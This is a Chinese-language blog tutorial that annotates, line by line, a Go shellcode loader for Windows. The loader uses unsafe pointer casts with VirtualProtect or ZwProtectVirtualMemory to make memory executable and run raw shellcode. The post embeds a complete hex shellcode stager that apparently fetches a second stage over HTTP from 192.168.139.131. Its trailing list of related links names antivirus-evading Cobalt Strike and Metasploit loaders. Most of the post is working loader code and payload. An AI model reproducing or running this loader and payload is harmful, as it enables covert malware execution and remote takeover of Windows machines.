序言

本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章。

例子和代码详解

func Run(sc []byte){
f := func(){} //实例化一个函数,f是指向该函数的指针
//方法1
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
  // (**uintptr)(unsafe.Pointer(&f))是获取一个指向f指针的指针,并转化为**uintptr类型, 为*(**uintptr)(unsafe.Pointer(&f))赋值,意为把一个指向函数的指针的指针指向(*uintptr)(unsafe.Pointer(&sc))
//被重新赋值后,相当于把f这个函数指针替换为新值指针,即(*uintptr)(unsafe.Pointer(&sc))这个指针,这样当后面执行f函数时,相当于执行赋值语句(*uintptr)(unsafe.Pointer(&sc))所指向的区域,
  //为*(*uintptr)(unsafe.Pointer(&sc)),即sc的值
  var oldfperms2 uint32
syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call( //virtualprotect的参数用法可自行百度下面着重理解每个参数的含义
uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))),
    //(**uintptr)(unsafe.Pointer(&sc))是把指向sc的指针转为uintptr类型的指针的指针(一个slice中,a []int中的&a地址中保存的内容实际上是指向&a[0]的指针,所以(**uintptr)(unsafe.Pointer(&sc))实际上是一个指向&a[0]的指针
//而*(**uintptr)(unsafe.Pointer(&sc))即为&sc[0],sc实际存储变量的起始地址位。这个语句实际上等价于uintptr(unsafe.Pointer(&sc[0]))。
    //因为uintptr和unsafe.Pointer是可以互转的,参数类型要求为uintptr,变把地址转为uintptr格式再传入,下面uintptr()的作用也一样
uintptr(uint(len(sc))),
//获取sc的连续地址的长度
uintptr(uint32(0x40)), //更改内存属性
uintptr(unsafe.Pointer(&oldfperms2)))
f() //执行指向了sc的内存
//这里其实还有一种更简单的执行方法,syscall.sysCall(uintptr(unsafe.Pointer(&sc[0])),0,0,0,0) } func main(){
  //v := shellcode ,即除去\x后的字符串
v := "fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8210300004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f4833697900daf064f6eacecfdd541cae73d06014c59e0e0475b3804ee9b6093bf04719505589d350280f4c7db9b7750e02babdf4ad3fdb64621f9ea6978a39f6e87ee42794b8d18088dbfc757e2800557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d5349452031302e303b2057696e646f7773204e5420362e323b2057696e36343b207836343b2054726964656e742f362e30290d0a009c9549000c3c5675aa0ab9fb8e9260cc26850b18310273bae636ef582ee8970bcb75bc33a3d9bbf86f7c7c0c01c96680c164fe6e4cdee9ef277d27ac2b399d55ac2b5b4887790cc1b19e546b5948f5da5344ceb28c64d4cdc47351983aad24c136a14dd267477238dca046d4c554760d78099dc25a44829d7b7f3b11e78e329e1ca78aefd085f0b15685b63d27c289504707fb158a65a0fad964ac91fe889c304dc94634c40b63a73127780a605317ae66b8fa5d684bee7ff710ec3dc8d61e83a52b4453b7eb009f021fdd6e1a066f4d561a5f9f0041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e3133392e3133310012345678";
//把字符串转为[]byte[]后使用Run加载
  a,err := hex.DecodeString(v)
if err!= nil{
log.Fatalln()
}
Run(a) }

到了这里如果都能理解下来基本就没什么问题了,还有一个shellcode加载的小例子,内存属性更改的函数所需要参数和上面的VirutalProtect也略有不同,可以尝试自行理解

//方法2
func Run(sc []byte){
f := func(){}
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
var oldfperms2 uint32
var hProcess uintptr = 0
var dwBufferLen = uint(len(sc)) syscall.NewLazyDLL("ntdll").NewProc("ZwProtectVirtualMemory").Call(
hProcess-1,
uintptr(unsafe.Pointer((**uintptr)(unsafe.Pointer(&sc)))),
uintptr(unsafe.Pointer(&dwBufferLen)),
0x20,
uintptr(unsafe.Pointer(&oldfperms2)))
f()
}

如有不足或理解错误的地方,请斧正!

理解go语言的shellcode加载器的更多相关文章

  1. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  2. 浅析golang shellcode加载器

    最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路. 杀软的查杀方式 静态查杀:查杀的方式是结合特征码,对文件的特征段如Ha ...

  3. 恶意软件开发——编写第一个Loader加载器

    一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...

  4. 【模块化编程】理解requireJS-实现一个简单的模块加载器

    在前文中我们不止一次强调过模块化编程的重要性,以及其可以解决的问题: ① 解决单文件变量命名冲突问题 ② 解决前端多人协作问题 ③ 解决文件依赖问题 ④ 按需加载(这个说法其实很假了) ⑤ ..... ...

  5. 我理解的Android加载器

    Android的加载器(loader)是从Android 3.0开始出来的东西.要理解这里需要先理解为什么会出现加载器(也有地方把它说成是装载器)呢? 如果没有加载器... 首先Activity是我们 ...

  6. webpack进阶构建项目(一):1.理解webpack加载器

    1.理解webpack加载器 webpack的设计理念,所有资源都是“模块”,webpack内部实现了一套资源加载机制,这与Requirejs.Sea.js.Browserify等实现有所不同. We ...

  7. 深入理解JVM-类加载器深入解析(3)

    深入理解JVM-类加载器深入解析(3) 获得ClassLoader的途径 获得当前类的ClassLoader clazz.getClassLoader() 获得当前线程上下文的ClassLoader ...

  8. 深入理解JVM-类加载器深入解析(2)

    深入理解JVM-类加载器深入解析(2) 加载:就是把二进制形式的java类型读入java虚拟机中 连接: 验证: 准备:为类变量分配内存,设置默认值.但是在到达初始化之前,类变量都没有初始化为真正的初 ...

  9. 深入理解LINUX下动态库链接器/加载器ld-linux.so.2

    [ld-linux-x86-64.so.2] 最近在Linux 环境下开发,搞了好几天 Compiler 和 linker,觉得有必要来写一篇关于Linux环境下 ld.so的文章了,google上搜 ...

随机推荐

  1. LinkedHashMap 实现LRU缓存

    date: 2020-07-09 13:52:00 updated: 2020-07-21 17:40:00 LinkedHashMap 实现LRU缓存 参考 LinkedHashMap是HashMa ...

  2. MongoDB分片 --- MongoDB基础用法(六)

    分片 在Mongodb里面存在另一种集群,就是分片技术,可以满足MongoDB数据量大量增长的需求. 当MongoDB存储海量的数据时,一台机器可能不足以存储数据,也可能不足以提供可接受的读写吞吐量. ...

  3. 模拟量采集模块433Mhz LoRa无线自组网络介绍

    模拟量采集模块433Mhz LoRa无线自组网络是LPWAN(低功耗广域网Low Power Wide Area Nerwork)通信技术中的一种,是美国Semtech公司采用和推广的一种基于扩频技术 ...

  4. @Transactional 注意事项、方法调用

    1.同一个类中,即A与B在同一类中,A()调用B()方法,A不加 @Transactional 事务注解,B加 @Transactional 事务注解,则B中的事务不起作用,A加事务,才会起作用,B中 ...

  5. NoSQL非关系型数据库

    NoSQL 关注公众号"轻松学编程"了解更多. 一.概念 NoSQL(Not Only SQL)非关系型数据库(功能换效率). 优点 开发维护成本低 访问灵活 访问速度快(缓存+快 ...

  6. echarts legend 图例文字闪烁显示

    最近同事小夏遇到一个需求:客户要求echarts图表上指定的图例文字闪烁显示. 先放一张图: 客户要求:待处理字样要闪动显示. 小夏一番百度之后,求助于我:快来看看,怎么有客户提这种百度都百度不到答案 ...

  7. Servlet学习笔记(二)

    目录 Servlet学习笔记(二) Request对象 1.request和response对象: 2.request对象继承体系结构: 3.什么是HttpServletRequest ? 4.Htt ...

  8. 按揭贷款的计算原理与java实现

    Number部分(6) Mortgage Calculator--按揭贷款计算器 题目描述: Mortgage Calculator – Calculate the monthly payments ...

  9. MYSQL字段

    这里我的测试环境是wampserver 选择数据库 选择表 或者创建数据库和表 SHOW DATABASES; 查看数据库 CREATE DATABASE 数据库名; 创建数据库 在 MySQL 中, ...

  10. 强迫自己学习Jquery三

    元素定位问题 offset 和 position必须要好好看一下,